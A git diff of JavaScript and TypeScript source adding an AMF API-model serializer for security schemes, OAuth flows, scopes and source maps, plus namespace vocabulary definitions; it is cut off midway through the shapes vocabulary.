+  settings(object) {
+    const result = /** @type ApiSecuritySettings */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    // if (additionalProperties && additionalProperties.id) {
+    //   result.additionalProperties = this.unknownDataNode(additionalProperties);
+    // }
+    return result;
+  }
+
+  /**
+   * @param {OAuth1Settings} object 
+   * @returns {ApiSecurityOAuth1Settings}
+   */
+  oAuth1Settings(object) {
+    const result = /** @type ApiSecurityOAuth1Settings */ (this.settings(object));
+    const { ns } = this;
+    const authorizationUri = this._getValue(object, ns.aml.vocabularies.security.authorizationUri);
+    if (authorizationUri && typeof authorizationUri === 'string') {
+      result.authorizationUri = authorizationUri;
+    }
+    const requestTokenUri = this._getValue(object, ns.aml.vocabularies.security.requestTokenUri);
+    if (requestTokenUri && typeof requestTokenUri === 'string') {
+      result.requestTokenUri = requestTokenUri;
+    }
+    const tokenCredentialsUri = this._getValue(object, ns.aml.vocabularies.security.tokenCredentialsUri);
+    if (tokenCredentialsUri && typeof tokenCredentialsUri === 'string') {
+      result.tokenCredentialsUri = tokenCredentialsUri;
+    }
+    const signatures = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.security.signature));
+    if (Array.isArray(signatures) && signatures.length) {
+      result.signatures = signatures;
+    } else {
+      result.signatures = [];
+    }
+    return result;
+  }
+
+  /**
+   * @param {OAuth2Settings} object 
+   * @returns {ApiSecurityOAuth2Settings}
+   */
+  oAuth2Settings(object) {
+    const result = /** @type ApiSecurityOAuth2Settings */ (this.settings(object));
+    const { ns } = this;
+    const grants = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.security.authorizationGrant));
+    if (Array.isArray(grants) && grants.length) {
+      result.authorizationGrants = grants;
+    } else {
+      result.authorizationGrants = [];
+    }
+    const flows = /** @type OAuth2Flow[] */ (object[this._getAmfKey(ns.aml.vocabularies.security.flows)]);
+    if (Array.isArray(flows) && flows.length) {
+      result.flows = flows.map((p) => this.oAuth2Flow(p));
+    } else {
+      result.flows = [];
+    }
+    return result;
+  }
+
+  /**
+   * @param {OAuth2Flow} object 
+   * @returns {ApiSecurityOAuth2Flow}
+   */
+  oAuth2Flow(object) {
+    const result = /** @type ApiSecurityOAuth2Flow */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      scopes: [],
+      sourceMaps: this.sourceMap(object),
+    });
+    const { ns } = this;
+    const authorizationUri = this._getValue(object, ns.aml.vocabularies.security.authorizationUri);
+    if (authorizationUri && typeof authorizationUri === 'string') {
+      result.authorizationUri = authorizationUri;
+    }
+    const accessTokenUri = this._getValue(object, ns.aml.vocabularies.security.accessTokenUri);
+    if (accessTokenUri && typeof accessTokenUri === 'string') {
+      result.accessTokenUri = accessTokenUri;
+    }
+    const flow = this._getValue(object, ns.aml.vocabularies.security.flow);
+    if (flow && typeof flow === 'string') {
+      result.flow = flow;
+    }
+    const refreshUri = this._getValue(object, ns.aml.vocabularies.security.refreshUri);
+    if (refreshUri && typeof refreshUri === 'string') {
+      result.refreshUri = refreshUri;
+    }
+    const scopes = object[this._getAmfKey(ns.aml.vocabularies.security.scope)];
+    if (Array.isArray(scopes) && scopes.length) {
+      result.scopes = scopes.map((p) => this.scope(p));
+    }
+    return result;
+  }
+
+  /**
+   * @param {Scope} object 
+   * @returns {ApiSecurityScope}
+   */
+  scope(object) {
+    const result = /** @type ApiSecurityScope */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    return result;
+  }
+
+  /**
+   * @param {ApiKeySettings} object 
+   * @returns {ApiSecurityApiKeySettings}
+   */
+  apiKeySettings(object) {
+    const result = /** @type ApiSecurityApiKeySettings */ (this.settings(object));
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const inParam = this._getValue(object, ns.aml.vocabularies.security.in);
+    if (inParam && typeof inParam === 'string') {
+      result.in = inParam;
+    }
+    return result;
+  }
+
+  /**
+   * @param {HttpSettings} object 
+   * @returns {ApiSecurityHttpSettings}
+   */
+  httpSettings(object) {
+    const result = /** @type ApiSecurityHttpSettings */ (this.settings(object));
+    const { ns } = this;
+    const scheme = this._getValue(object, ns.aml.vocabularies.security.scheme);
+    if (scheme && typeof scheme === 'string') {
+      result.scheme = scheme;
+    }
+    const bearerFormat = this._getValue(object, ns.aml.vocabularies.security.bearerFormat);
+    if (bearerFormat && typeof bearerFormat === 'string') {
+      result.bearerFormat = bearerFormat;
+    }
+    return result;
+  }
+
+  /**
+   * @param {OpenIdConnectSettings} object 
+   * @returns {ApiSecurityOpenIdConnectSettings}
+   */
+  openIdConnectSettings(object) {
+    const result = /** @type ApiSecurityOpenIdConnectSettings */ (this.settings(object));
+    const { ns } = this;
+    const url = this._getValue(object, ns.aml.vocabularies.security.openIdConnectUrl);
+    if (url && typeof url === 'string') {
+      result.url = url;
+    }
+    return result;
+  }
+
+  /**
+   * Serializes source maps, when available.
+   * @param {DocumentSourceMaps} object 
+   * @returns {ApiDocumentSourceMaps|undefined}
+   */
+  sourceMap(object) {
+    const { ns } = this;
+    let sm = object[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources)];
+    if (!sm) {
+      return undefined;
+    }
+    if (Array.isArray(sm)) {
+      [sm] = sm;
+    }
+    const result = /** @type ApiDocumentSourceMaps */ ({
+      id: sm['@id'],
+      types: this.readTypes(sm['@type']),
+    });
+    const synthesizedField = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.synthesizedField)];
+    if (Array.isArray(synthesizedField) && synthesizedField.length) {
+      result.synthesizedField = synthesizedField.map(i => this.synthesizedField(i));
+    }
+    const lexical = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.lexical)];
+    if (Array.isArray(lexical) && lexical.length) {
+      result.lexical = lexical.map(i => this.synthesizedField(i))
+    }
+    const trackedElement = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.trackedElement)];
+    if (Array.isArray(trackedElement) && trackedElement.length) {
+      result.trackedElement = this.synthesizedField(trackedElement[0]);
+    }
+    const autoName = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.autoGeneratedName)];
+    if (Array.isArray(autoName) && autoName.length) {
+      result.autoGeneratedName = autoName.map(i => this.synthesizedField(i))
+    }
+    const jsonSchema = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.parsedJsonSchema)];
+    if (Array.isArray(jsonSchema) && jsonSchema.length) {
+      result.parsedJsonSchema = this.synthesizedField(jsonSchema[0]);
+    }
+    const declaredElement = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.declaredElement)];
+    if (Array.isArray(declaredElement) && declaredElement.length) {
+      result.declaredElement = this.synthesizedField(declaredElement[0]);
+    }
+    return result;
+  }
+
+  /**
+   * @param {SynthesizedField} object 
+   * @returns {ApiSynthesizedField}
+   */
+  synthesizedField(object) {
+    // compact model
+    if (typeof object === 'string') {
+      return /** @type ApiSynthesizedField */ ({
+        id: 'synthesizedField/generated',
+        value: object,
+      });
+    }
+    const result = /** @type ApiSynthesizedField */ ({
+      id: object['@id'],
+    });
+    // @ts-ignore
+    const element = this._getValue(object, this.ns.aml.vocabularies.docSourceMaps.element);
+    if (typeof element === 'string') {
+      result.element = element;
+    }
+    // @ts-ignore
+    const value = this._getValue(object, this.ns.aml.vocabularies.docSourceMaps.value);
+    if (typeof value === 'string') {
+      result.value = value
+    }
+    return result;
+  }
+
+  /**
+   * @param {ParametrizedDeclaration} object 
+   * @returns {ApiParametrizedDeclaration}
+   */
+  parametrizedDeclaration(object) {
+    const result = /** @type ApiParametrizedDeclaration */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      variables: [],
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+    });
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const variables = object[this._getAmfKey(ns.aml.vocabularies.document.variable)];
+    if (Array.isArray(variables)) {
+      variables.forEach((item) => {
+        result.variables.push(this.variableValue(item));
+      });
+    }
+    const targets = object[this._getAmfKey(ns.aml.vocabularies.document.target)];
+    if (Array.isArray(targets) && targets.length) {
+      const [target] = targets;
+      result.target = this.abstractDeclaration(target);
+    }
+    return result;
+  }
+
+  /**
+   * @param {ParametrizedTrait} object 
+   * @returns {ApiParametrizedTrait}
+   */
+  parametrizedTrait(object) {
+    const result = /** @type ApiParametrizedTrait */ (this.parametrizedDeclaration(object));
+    return result;
+  }
+
+  /**
+   * @param {ParametrizedResourceType} object 
+   * @returns {ApiParametrizedResourceType}
+   */
+  parametrizedResourceType(object) {
+    const result = /** @type ApiParametrizedResourceType */ (this.parametrizedDeclaration(object));
+    return result;
+  }
+
+  /**
+   * @param {VariableValue} object 
+   * @returns {ApiVariableValue}
+   */
+  variableValue(object) {
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const result = /** @type ApiVariableValue */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      name,
+    });
+    const values = object[this._getAmfKey(ns.aml.vocabularies.document.value)];
+    if (Array.isArray(values)) {
+      const [item] = values;
+      result.value = this.unknownDataNode(item);
+    }
+    return result;
+  }
+
+  /**
+   * @param {AbstractDeclaration} object 
+   * @returns {ApiAbstractDeclaration}
+   */
+  abstractDeclaration(object) {
+    const { ns } = this;
+    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const result = /** @type ApiAbstractDeclaration */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type']),
+      customDomainProperties: this.customDomainProperties(object),
+      sourceMaps: this.sourceMap(object),
+      name,
+      variables: [],
+    });
+    const variables = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.document.variable));
+    if (Array.isArray(variables)) {
+      result.variables = variables;
+    }
+    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    if (description && typeof description === 'string') {
+      result.description = description;
+    }
+    const dataNode = object[this._getAmfKey(ns.aml.vocabularies.document.dataNode)];
+    if (Array.isArray(dataNode)) {
+      const [item] = dataNode;
+      result.dataNode = this.unknownDataNode(item);
+    }
+    return result;
+  }
+}
diff --git a/src/helpers/Namespace.d.ts b/src/helpers/Namespace.d.ts
new file mode 100644
index 0000000..c1f83bc
--- /dev/null
+++ b/src/helpers/Namespace.d.ts
@@ -0,0 +1,372 @@
+interface Document {
+  toString(): string;
+  key: string;
+  Module: string;
+  Document: string;
+  SecuritySchemeFragment: string;
+  UserDocumentation: string;
+  DataType: string;
+  NamedExamples: string;
+  DomainElement: string;
+  ParametrizedDeclaration: string;
+  ExternalDomainElement: string;
+  customDomainProperties: string;
+  encodes: string;
+  declares: string;
+  references: string;
+  examples: string;
+  linkTarget: string;
+  linkLabel: string;
+  referenceId: string;
+  structuredValue: string;
+  raw: string;
+  extends: string;
+  value: string;
+  name: string;
+  strict: string;
+  deprecated: string;
+  location: string;
+  variable: string;
+  target: string;
+  dataNode: string;
+  root: string;
+  usage: string;
+  version: string;
+}
+
+interface Core {
+  toString(): string;
+  key: string;
+  CreativeWork: string;
+  version: string;
+  urlTemplate: string;
+  displayName: string;
+  title: string;
+  name: string;
+  description: string;
+  summary: string;
+  documentation: string;
+  provider: string;
+  email: string;
+  url: string;
+  termsOfService: string;
+  license: string;
+  mediaType: string;
+  extensionName: string;
+  deprecated: string;
+}
+
+interface Security {
+  toString(): string;
+  key: string;
+  ParametrizedSecurityScheme: string;
+  SecuritySchemeFragment: string;
+  SecurityScheme: string;
+  OAuth1Settings: string;
+  OAuth2Settings: string;
+  OAuth2Flow: string;
+  Scope: string;
+  Settings: string;
+  HttpSettings: string;
+  ApiKeySettings: string;
+  OpenIdConnectSettings: string;
+  security: string;
+  scheme: string;
+  schemes: string;
+  settings: string;
+  name: string;
+  type: string;
+  scope: string;
+  accessTokenUri: string;
+  authorizationUri: string;
+  authorizationGrant: string;
+  flows: string;
+  flow: string;
+  signature: string;
+  tokenCredentialsUri: string;
+  requestTokenUri: string;
+  refreshUri: string;
+  securityRequirement: string;
+  openIdConnectUrl: string;
+  bearerFormat: string;
+  in: string;
+}
+
+interface ApiContract {
+  toString(): string;
+  key: string;
+  Payload: string;
+  Request: string;
+  Response: string;
+  EndPoint: string;
+  Parameter: string;
+  Operation: string;
+  WebAPI: string;
+  AsyncAPI: string;
+  API: string;
+  UserDocumentationFragment: string;
+  Example: string;
+  Server: string;
+  ParametrizedResourceType: string;
+  ParametrizedTrait: string;
+  Callback: string;
+  TemplatedLink: string;
+  IriTemplateMapping: string;
+  Tag: string;
+  header: string;
+  parameter: string;
+  paramName: string;
+  uriParameter: string;
+  cookieParameter: string;
+  variable: string;
+  payload: string;
+  server: string;
+  path: string;
+  url: string;
+  scheme: string;
+  endpoint: string;
+  queryString: string;
+  accepts: string;
+  guiSummary: string;
+  binding: string;
+  response: string;
+  returns: string;
+  expects: string;
+  examples: string;
+  supportedOperation: string;
+  statusCode: string;
+  method: string;
+  required: string;
+  callback: string;
+  expression: string;
+  link: string;
+  linkExpression: string;
+  templateVariable: string;
+  mapping: string;
+  operationId: string;
+  protocol: string;
+  protocolVersion: string;
+  Message: string;
+  headerSchema: string;
+  contentType: string;
+  allowEmptyValue: string;
+  style: string;
+  explode: string;
+  allowReserved: string;
+  tag: string;
+}
+
+interface Shapes {
+  toString(): string;
+  key: string;
+  ScalarShape: string;
+  ArrayShape: string;
+  UnionShape: string;
+  NilShape: string;
+  FileShape: string;
+  AnyShape: string;
+  SchemaShape: string;
+  MatrixShape: string;
+  TupleShape: string;
+  DataTypeFragment: string;
+  RecursiveShape: string;
+  XMLSerializer: string;
+  range: string;
+  items: string;
+  anyOf: string;
+  fileType: string;
+  number: string;
+  integer: string;
+  long: string;
+  double: string;
+  boolean: string;
+  float: string;
+  nil: string;
+  dateTimeOnly: string;
+  password: string;
+  schema: string;
+  xmlSerialization: string;
+  xmlName: string;
+  xmlAttribute: string;
+  xmlWrapped: string;
+  xmlNamespace: string;
+  xmlPrefix: string;
+  readOnly: string;
+  writeOnly: string;
+  deprecated: string;
+  fixPoint: string;
+  discriminator: string;
+  discriminatorValue: string;
+  format: string;
+  multipleOf: string;
+  uniqueItems: string;
+}
+
+interface Data {
+  toString(): string;
+  key: string;
+  Scalar: string;
+  Object: string;
+  Array: string;
+  value: string;
+  type: string;
+  description: string;
+  required: string;
+  displayName: string;
+  minLength: string;
+  maxLength: string;
+  default: string;
+  multipleOf: string;
+  minimum: string;
+  maximum: string;
+  enum: string;
+  pattern: string;
+  items: string;
+  format: string;
+  example: string;
+  examples: string;
+}
+
+interface DocSourceMaps {
+  toString(): string;
+  key: string;
+  SourceMap: string;
+  sources: string;
+  element: string;
+  value: string;
+  declaredElement: string;
+  trackedElement: string;
+  parsedJsonSchema: string;
+  autoGeneratedName: string;
+  lexical: string;
+  synthesizedField: string;
+}
+
+interface Vocabularies {
+  toString(): string;
+  key: string;
+  document: Readonly<Document>;
+  core: Readonly<Core>;
+  security: Readonly<Security>;
+  apiContract: Readonly<ApiContract>;
+  shapes: Readonly<Shapes>;
+  data: Readonly<Data>;
+  docSourceMaps: Readonly<DocSourceMaps>;
+}
+
+interface Aml {
+  toString(): string;
+  key: string;
+  vocabularies: Readonly<Vocabularies>;
+}
+
+interface RdfSyntax {
+  toString(): string;
+  key: string;
+  member: string;
+  Seq: string;
+}
+
+interface RdfSchema {
+  toString(): string;
+  key: string;
+  member: string;
+  Seq: string;
+}
+
+interface Hydra {
+  toString(): string;
+  key: string;
+  core: ApiContract;
+}
+
+interface XmlSchema {
+  toString(): string;
+  key: string;
+  boolean: string;
+  string: string;
+  number: string;
+  integer: string;
+  long: string;
+  double: string;
+  float: string;
+  nil: string;
+  dateTime: string;
+  time: string;
+  date: string;
+  base64Binary: string;
+}
+
+interface Shacl {
+  toString(): string;
+  key: string;
+  Shape: string;
+  NodeShape: string;
+  SchemaShape: string;
+  PropertyShape: string;
+  in: string;
+  defaultValue: string;
+  defaultValueStr: string;
+  pattern: string;
+  minInclusive: string;
+  maxInclusive: string;
+  multipleOf: string;
+  minLength: string;
+  maxLength: string;
+  fileType: string;
+  and: string;
+  property: string;
+  name: string;
+  raw: string;
+  datatype: string;
+  minCount: string;
+  maxCount: string;
+  xone: string;
+  not: string;
+  or: string;
+  closed: string;
+  path: string;
+}
+
+interface W3 {
+  toString(): string;
+  key: string;
+  rdfSyntax: Readonly<RdfSyntax>;
+  rdfSchema: Readonly<RdfSchema>;
+  hydra: Readonly<Hydra>;
+  xmlSchema: Readonly<XmlSchema>;
+  shacl: Readonly<Shacl>;
+}
+
+interface Schema {
+  toString(): string;
+  key: string;
+  name: string;
+  desc: string;
+  doc: string;
+  webApi: string;
+  creativeWork: string;
+  displayName: string;
+  title: string;
+}
+
+export interface Namespace {
+  name: string;
+  /**
+   * AMF namespace
+   */
+  aml: Readonly<Aml>;
+  /**
+   * AMF namespace (compatibility)
+   */
+  raml: Readonly<Aml>;
+  /**
+   * W3 namespace
+   */
+  w3: Readonly<W3>;
+  /**
+   * Schema namespace. The same as aml.vocabularies
+   */
+  schema: Readonly<Schema>;
+}
+export const ns: Namespace;
diff --git a/src/helpers/Namespace.js b/src/helpers/Namespace.js
new file mode 100644
index 0000000..970f1a1
--- /dev/null
+++ b/src/helpers/Namespace.js
@@ -0,0 +1,346 @@
+
+/**
+ * A namespace for AMF properties.
+ * @type {Object}
+ */
+export const ns = {};
+
+// RAML namespace
+ns.aml = {};
+ns.raml = ns.aml;
+ns.aml.key = 'http://a.ml/';
+ns.aml.vocabularies = {};
+ns.aml.vocabularies.key = `${ns.aml.key}vocabularies/`;
+ns.aml.vocabularies.document = {};
+ns.aml.vocabularies.document.key = `${ns.aml.vocabularies.key}document#`;
+const docKey = ns.aml.vocabularies.document.key;
+ns.aml.vocabularies.document.toString = () => docKey;
+ns.aml.vocabularies.document.Module = `${docKey}Module`;
+ns.aml.vocabularies.document.Document = `${docKey}Document`;
+ns.aml.vocabularies.document.SecuritySchemeFragment = `${docKey}SecuritySchemeFragment`;
+ns.aml.vocabularies.document.UserDocumentation = `${docKey}UserDocumentation`;
+ns.aml.vocabularies.document.DataType = `${docKey}DataType`;
+ns.aml.vocabularies.document.NamedExamples = `${docKey}NamedExamples`;
+ns.aml.vocabularies.document.DomainElement = `${docKey}DomainElement`;
+ns.aml.vocabularies.document.ParametrizedDeclaration = `${docKey}ParametrizedDeclaration`;
+ns.aml.vocabularies.document.ExternalDomainElement = `${docKey}ExternalDomainElement`;
+ns.aml.vocabularies.document.customDomainProperties = `${docKey}customDomainProperties`;
+ns.aml.vocabularies.document.encodes = `${docKey}encodes`;
+ns.aml.vocabularies.document.declares = `${docKey}declares`;
+ns.aml.vocabularies.document.references = `${docKey}references`;
+ns.aml.vocabularies.document.examples = `${docKey}examples`;
+ns.aml.vocabularies.document.linkTarget = `${docKey}link-target`;
+ns.aml.vocabularies.document.linkLabel = `${docKey}link-label`;
+ns.aml.vocabularies.document.referenceId = `${docKey}reference-id`;
+ns.aml.vocabularies.document.structuredValue = `${docKey}structuredValue`;
+ns.aml.vocabularies.document.raw = `${docKey}raw`;
+ns.aml.vocabularies.document.extends = `${docKey}extends`;
+ns.aml.vocabularies.document.value = `${docKey}value`;
+ns.aml.vocabularies.document.name = `${docKey}name`;
+ns.aml.vocabularies.document.strict = `${docKey}strict`;
+ns.aml.vocabularies.document.deprecated = `${docKey}deprecated`;
+ns.aml.vocabularies.document.location = `${docKey}location`;
+ns.aml.vocabularies.document.variable = `${docKey}variable`;
+ns.aml.vocabularies.document.target = `${docKey}target`;
+ns.aml.vocabularies.document.dataNode = `${docKey}dataNode`;
+ns.aml.vocabularies.document.root = `${docKey}root`;
+ns.aml.vocabularies.document.usage = `${docKey}usage`;
+ns.aml.vocabularies.document.version = `${docKey}version`;
+ns.aml.vocabularies.core = {};
+ns.aml.vocabularies.core.key = `${ns.aml.vocabularies.key}core#`;
+const coreKey = ns.aml.vocabularies.core.key;
+ns.aml.vocabularies.core.toString = () => coreKey;
+ns.aml.vocabularies.core.CreativeWork = `${coreKey}CreativeWork`;
+ns.aml.vocabularies.core.version = `${coreKey}version`;
+ns.aml.vocabularies.core.urlTemplate = `${coreKey}urlTemplate`;
+ns.aml.vocabularies.core.displayName = `${coreKey}displayName`;
+ns.aml.vocabularies.core.title = `${coreKey}title`;
+ns.aml.vocabularies.core.name = `${coreKey}name`;
+ns.aml.vocabularies.core.description = `${coreKey}description`;
+ns.aml.vocabularies.core.documentation = `${coreKey}documentation`;
+ns.aml.vocabularies.core.summary = `${coreKey}summary`;
+ns.aml.vocabularies.core.provider = `${coreKey}provider`;
+ns.aml.vocabularies.core.email = `${coreKey}email`;
+ns.aml.vocabularies.core.url = `${coreKey}url`;
+ns.aml.vocabularies.core.termsOfService = `${coreKey}termsOfService`;
+ns.aml.vocabularies.core.license = `${coreKey}license`;
+ns.aml.vocabularies.core.mediaType = `${coreKey}mediaType`;
+ns.aml.vocabularies.core.extensionName = `${coreKey}extensionName`;
+ns.aml.vocabularies.core.deprecated = `${coreKey}deprecated`;
+ns.aml.vocabularies.security = {};
+ns.aml.vocabularies.security.key = `${ns.aml.vocabularies.key}security#`;
+const secKey = ns.aml.vocabularies.security.key;
+ns.aml.vocabularies.security.toString = () => secKey;
+ns.aml.vocabularies.security.ParametrizedSecurityScheme = `${secKey}ParametrizedSecurityScheme`;
+ns.aml.vocabularies.security.SecuritySchemeFragment = `${secKey}SecuritySchemeFragment`;
+ns.aml.vocabularies.security.SecurityScheme = `${secKey}SecurityScheme`;
+ns.aml.vocabularies.security.OAuth1Settings = `${secKey}OAuth1Settings`;
+ns.aml.vocabularies.security.OAuth2Settings = `${secKey}OAuth2Settings`;
+ns.aml.vocabularies.security.OAuth2Flow = `${secKey}OAuth2Flow`;
+ns.aml.vocabularies.security.Scope = `${secKey}Scope`;
+ns.aml.vocabularies.security.Settings = `${secKey}Settings`;
+ns.aml.vocabularies.security.HttpSettings = `${secKey}HttpSettings`;
+ns.aml.vocabularies.security.ApiKeySettings = `${secKey}ApiKeySettings`;
+ns.aml.vocabularies.security.OpenIdConnectSettings = `${secKey}OpenIdConnectSettings`;
+ns.aml.vocabularies.security.security = `${secKey}security`;
+ns.aml.vocabularies.security.scheme = `${secKey}scheme`;
+ns.aml.vocabularies.security.schemes = `${secKey}schemes`;
+ns.aml.vocabularies.security.settings = `${secKey}settings`;
+ns.aml.vocabularies.security.name = `${secKey}name`;
+ns.aml.vocabularies.security.type = `${secKey}type`;
+ns.aml.vocabularies.security.scope = `${secKey}scope`;
+ns.aml.vocabularies.security.accessTokenUri = `${secKey}accessTokenUri`;
+ns.aml.vocabularies.security.authorizationUri = `${secKey}authorizationUri`;
+ns.aml.vocabularies.security.authorizationGrant = `${secKey}authorizationGrant`;
+ns.aml.vocabularies.security.flows = `${secKey}flows`;
+ns.aml.vocabularies.security.flow = `${secKey}flow`;
+ns.aml.vocabularies.security.signature = `${secKey}signature`;
+ns.aml.vocabularies.security.tokenCredentialsUri = `${secKey}tokenCredentialsUri`;
+ns.aml.vocabularies.security.requestTokenUri = `${secKey}requestTokenUri`;
+ns.aml.vocabularies.security.refreshUri = `${secKey}refreshUri`;
+ns.aml.vocabularies.security.securityRequirement = `${secKey}SecurityRequirement`;
+ns.aml.vocabularies.security.openIdConnectUrl = `${secKey}openIdConnectUrl`;
+ns.aml.vocabularies.security.bearerFormat = `${secKey}bearerFormat`;
+ns.aml.vocabularies.security.in = `${secKey}in`;
+ns.aml.vocabularies.apiContract = {};
+ns.aml.vocabularies.http = ns.aml.vocabularies.apiContract;
+ns.aml.vocabularies.apiContract.key = `${ns.aml.vocabularies.key}apiContract#`;
+const contractKey = ns.aml.vocabularies.apiContract.key;
+ns.aml.vocabularies.apiContract.toString = () => contractKey;
+ns.aml.vocabularies.apiContract.Payload = `${contractKey}Payload`;
+ns.aml.vocabularies.apiContract.Request = `${contractKey}Request`;
+ns.aml.vocabularies.apiContract.Response = `${contractKey}Response`;
+ns.aml.vocabularies.apiContract.EndPoint = `${contractKey}EndPoint`;
+ns.aml.vocabularies.apiContract.Parameter = `${contractKey}Parameter`;
+ns.aml.vocabularies.apiContract.Operation = `${contractKey}Operation`;
+ns.aml.vocabularies.apiContract.WebAPI = `${contractKey}WebAPI`;
+ns.aml.vocabularies.apiContract.API = `${contractKey}API`;
+ns.aml.vocabularies.apiContract.AsyncAPI = `${contractKey}AsyncAPI`;
+ns.aml.vocabularies.apiContract.UserDocumentationFragment = `${contractKey}UserDocumentationFragment`;
+ns.aml.vocabularies.apiContract.Example = `${contractKey}Example`;
+ns.aml.vocabularies.apiContract.Server = `${contractKey}Server`;
+ns.aml.vocabularies.apiContract.ParametrizedResourceType = `${contractKey}ParametrizedResourceType`;
+ns.aml.vocabularies.apiContract.ParametrizedTrait = `${contractKey}ParametrizedTrait`;
+ns.aml.vocabularies.apiContract.Callback = `${contractKey}Callback`;
+ns.aml.vocabularies.apiContract.TemplatedLink = `${contractKey}TemplatedLink`;
+ns.aml.vocabularies.apiContract.IriTemplateMapping = `${contractKey}IriTemplateMapping`;
+ns.aml.vocabularies.apiContract.Tag = `${contractKey}Tag`;
+ns.aml.vocabularies.apiContract.header = `${contractKey}header`;
+ns.aml.vocabularies.apiContract.parameter = `${contractKey}parameter`;
+ns.aml.vocabularies.apiContract.paramName = `${contractKey}paramName`;
+ns.aml.vocabularies.apiContract.uriParameter = `${contractKey}uriParameter`;
+ns.aml.vocabularies.apiContract.cookieParameter = `${contractKey}cookieParameter`;
+ns.aml.vocabularies.apiContract.variable = `${contractKey}variable`;
+ns.aml.vocabularies.apiContract.payload = `${contractKey}payload`;
+ns.aml.vocabularies.apiContract.server = `${contractKey}server`;
+ns.aml.vocabularies.apiContract.path = `${contractKey}path`;
+ns.aml.vocabularies.apiContract.url = `${contractKey}url`;
+ns.aml.vocabularies.apiContract.scheme = `${contractKey}scheme`;
+ns.aml.vocabularies.apiContract.endpoint = `${contractKey}endpoint`;
+ns.aml.vocabularies.apiContract.queryString = `${contractKey}queryString`;
+ns.aml.vocabularies.apiContract.accepts = `${contractKey}accepts`;
+ns.aml.vocabularies.apiContract.guiSummary = `${contractKey}guiSummary`;
+ns.aml.vocabularies.apiContract.binding = `${contractKey}binding`;
+ns.aml.vocabularies.apiContract.response = `${contractKey}response`;
+ns.aml.vocabularies.apiContract.returns = `${contractKey}returns`;
+ns.aml.vocabularies.apiContract.expects = `${contractKey}expects`;
+ns.aml.vocabularies.apiContract.examples = `${contractKey}examples`;
+ns.aml.vocabularies.apiContract.supportedOperation = `${contractKey}supportedOperation`;
+ns.aml.vocabularies.apiContract.statusCode = `${contractKey}statusCode`;
+ns.aml.vocabularies.apiContract.method = `${contractKey}method`;
+ns.aml.vocabularies.apiContract.required = `${contractKey}required`;
+ns.aml.vocabularies.apiContract.callback = `${contractKey}callback`;
+ns.aml.vocabularies.apiContract.expression = `${contractKey}expression`;
+ns.aml.vocabularies.apiContract.link = `${contractKey}link`;
+ns.aml.vocabularies.apiContract.linkExpression = `${contractKey}linkExpression`;
+ns.aml.vocabularies.apiContract.templateVariable = `${contractKey}templateVariable`;
+ns.aml.vocabularies.apiContract.mapping = `${contractKey}mapping`;
+ns.aml.vocabularies.apiContract.operationId = `${contractKey}operationId`;
+ns.aml.vocabularies.apiContract.protocol = `${contractKey}protocol`;
+ns.aml.vocabularies.apiContract.protocolVersion = `${contractKey}protocolVersion`;
+ns.aml.vocabularies.apiContract.Message = `${contractKey}Message`;
+ns.aml.vocabularies.apiContract.headerSchema = `${contractKey}headerSchema`;
+ns.aml.vocabularies.apiContract.contentType = `${contractKey}contentType`;
+ns.aml.vocabularies.apiContract.allowEmptyValue = `${contractKey}allowEmptyValue`;
+ns.aml.vocabularies.apiContract.style = `${contractKey}style`;
+ns.aml.vocabularies.apiContract.explode = `${contractKey}explode`;
+ns.aml.vocabularies.apiContract.allowReserved = `${contractKey}allowReserved`;
+ns.aml.vocabularies.apiContract.tag = `${contractKey}tag`;
+ns.aml.vocabularies.shapes = {};
+ns.aml.vocabularies.shapes.key = `${ns.aml.vocabularies.key}shapes#`;
+const shapesKey = ns.aml.vocabularies.shapes.key;
+ns.aml.vocabularies.shapes.toString = () => shapesKey;
+ns.aml.vocabularies.shapes.ScalarShape = `${shapesKey}ScalarShape`;
+ns.aml.vocabularies.shapes.ArrayShape = `${shapesKey}ArrayShape`;
+ns.aml.vocabularies.shapes.UnionShape = `${shapesKey}UnionShape`;
+ns.aml.vocabularies.shapes.NilShape = `${shapesKey}NilShape`;
+ns.aml.vocabularies.shapes.FileShape = `${shapesKey}FileShape`;
+ns.aml.vocabularies.shapes.AnyShape = `${shapesKey}AnyShape`;
+ns.aml.vocabularies.shapes.SchemaShape = `${shapesKey}SchemaShape`;
+ns.aml.vocabularies.shapes.MatrixShape = `${shapesKey}MatrixShape`;
+ns.aml.vocabularies.shapes.TupleShape = `${shapesKey}TupleShape`;
+ns.aml.vocabularies.shapes.DataTypeFragment = `${shapesKey}DataTypeFragment`;
